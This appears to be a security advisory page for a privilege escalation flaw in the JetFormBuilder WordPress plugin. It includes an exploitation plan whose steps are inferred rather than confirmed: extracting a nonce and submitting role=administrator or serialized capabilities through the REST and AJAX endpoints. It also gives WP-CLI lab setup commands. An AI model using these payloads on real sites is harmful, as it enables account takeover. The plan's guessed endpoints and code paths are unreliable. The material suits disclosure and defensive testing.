JetFormBuilder — Dynamic Blocks Form Builder <= 3.6.1 - Authenticated (Subscriber+) Privilege Escalation
Description
The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.6.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.6.1What Changed in the Fix
Changes introduced in v3.6.1.1
Source Code
WordPress.org SVNThis exploitation research plan focuses on **CVE-2026-54196**, a Privilege Escalation vulnerability in the **JetFormBuilder** plugin. Given the vulnerability type ("Incorrect Privilege Assignment") and the requirement of "Subscriber+" authentication, the flaw likely resides in the plugin's handling …
Show full research plan
This exploitation research plan focuses on CVE-2026-54196, a Privilege Escalation vulnerability in the JetFormBuilder plugin. Given the vulnerability type ("Incorrect Privilege Assignment") and the requirement of "Subscriber+" authentication, the flaw likely resides in the plugin's handling of "Post-Submit Actions," specifically those related to user updates or registration.
1. Vulnerability Summary
- Vulnerability: Authenticated Privilege Escalation via Post-Submit Actions.
- Location: Likely within the PHP classes responsible for processing form submissions and executing "Update User" or "Register User" actions (e.g.,
includes/actions/types/update-user.phpor similar, inferred from plugin architecture). - Root Cause: The plugin fails to validate or restrict the specific user fields (like
roleorwp_capabilities) that a low-privileged user can update when submitting a form configured with a user-related action. An attacker can inject parameters into the form submission request to modify their own account's role to "administrator."
2. Attack Vector Analysis
- Endpoint:
- REST API:
/wp-json/jet-form-builder/v1/submit-form(Default REST endpoint for JFB). - AJAX:
admin-ajax.phpwith actionjet_form_builder_submit.
- REST API:
- Payload Parameter: Form field values passed in the
valuesarray (REST) or as POST parameters (AJAX). Specifically, injecting a key mapped to the WordPress user role. - Authentication: Authenticated as a Subscriber or any low-level user.
- Preconditions: A form must exist that uses the "Update User" post-submit action.
3. Code Flow (Inferred)
- Entry Point: User submits a form via the frontend.
- Handler:
Jet_Form_Builder\Form_Handler::handle_form_submission()receives the request. - Action Execution: The handler identifies the "Update User" action associated with the form.
- Field Mapping: The plugin maps submitted form field values to WordPress user object fields (e.g.,
user_email,first_name,role). - Vulnerable Sink: The mapped data is passed to
wp_update_user()orupdate_user_meta(). - Failure: The plugin does not check if the current user has the
promote_userscapability before allowing therolefield to be updated via the form submission.
4. Nonce Acquisition Strategy
JetFormBuilder enqueues nonces and form data via wp_localize_script.
Strategy:
- Identify a page containing a JetFormBuilder form.
- Navigate to the page using
browser_navigate. - Extract the nonce and form ID using
browser_eval.
Actionable Identifiers:
- Global JS Object:
JetFormBuilderSettings(common in JFB). - Nonce Key:
nonceor_wpnonce. - Extraction Script:
// To get the submission nonce window.JetFormBuilderSettings?.nonce; // To get form-specific data window.JetFormBuilderSettings?.forms?.[FORM_ID];
5. Exploitation Strategy
Step 1: Form Identification
Create or identify a form that has an "Update User" action. In JFB, this action allows updating the profile of the current user.
Step 2: Request Construction
The attacker submits a request to the submission endpoint, injecting a parameter that the backend maps to the user role.
HTTP Request (Example via REST):
- Method: POST
- URL:
http://localhost:8080/wp-json/jet-form-builder/v1/submit-form - Headers:
Content-Type: application/jsonX-WP-Nonce: [Extracted Nonce]
- Payload:
Note: The actual key might be{ "form_id": 123, "fields": { "user_email": "subscriber@example.com", "role": "administrator" }, "context": "frontend" }user_role,role, or a custom field ID mapped to the role in the form settings.
6. Test Data Setup
- Admin Setup:
- Create a Form (ID:
1337). - Add a Post-Submit Action: "Update User".
- In the action settings, map a form field (e.g., a hidden field or text field) to the User "Role".
- Create a Form (ID:
- Attacker Setup:
- Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
- Create a Subscriber user:
- Page Setup:
- Create a page displaying the form:
wp post create --post_type=page --post_status=publish --post_content='[jet_form_builder form_id="1337"]'.
- Create a page displaying the form:
7. Expected Results
- Response: The API should return a success message (e.g.,
{"status":"success","message":"Form successfully submitted"}). - Result: The "attacker" user's role in the database is changed from
subscribertoadministrator.
8. Verification Steps
After the HTTP request, verify the role change via WP-CLI:
wp user get attacker --field=roles
Successful output: administrator
9. Alternative Approaches
- Hidden Field Injection: If the role field isn't explicitly in the form, try adding it to the
fieldsobject in the JSON payload anyway. Many builders use a loop to process all submitted data against a whitelist that might inadvertently includerole. - Meta Injection: If the role cannot be changed directly, check if
wp_capabilities(user meta) can be updated via the "Update User" action.- Key:
wp_capabilities - Value:
a:1:{s:13:"administrator";b:1;}(serialized).
- Key:
- AJAX Endpoint: If the REST API is restricted, use the AJAX fallback:
POST /wp-admin/admin-ajax.phpaction=jet_form_builder_submit&_wpnonce=[NONCE]&form_id=1337&role=administrator
Summary
The JetFormBuilder plugin for WordPress is vulnerable to privilege escalation in versions up to 3.6.1. This flaw allows authenticated attackers with subscriber-level access to elevate their account privileges to administrator by exploiting insufficient validation in the 'Update User' post-submit action.
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('wp-i18n'), 'version' => '94ba9a9d32ea506460c6'); +<?php return array('dependencies' => array('wp-i18n'), 'version' => 'cd879d1903e305e67f49'); @@ -1 +1 @@ -(()=>{var t={2373(t,e,i) ... (truncated)
Exploit Outline
To exploit this vulnerability, an attacker authenticated as a Subscriber or higher must identify a form that utilizes the 'Update User' post-submit action. By extracting a valid submission nonce from the frontend (often found in the `JetFormBuilderSettings` global JS object), the attacker can send a POST request to the `/wp-json/jet-form-builder/v1/submit-form` REST endpoint. The payload is crafted to include an injected field, such as 'role' or 'user_role', set to 'administrator'. Because the plugin's backend handler fails to verify the current user's capability (like `promote_users`) before updating the user profile via `wp_update_user`, the attacker's account role is changed to administrator upon successful submission.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.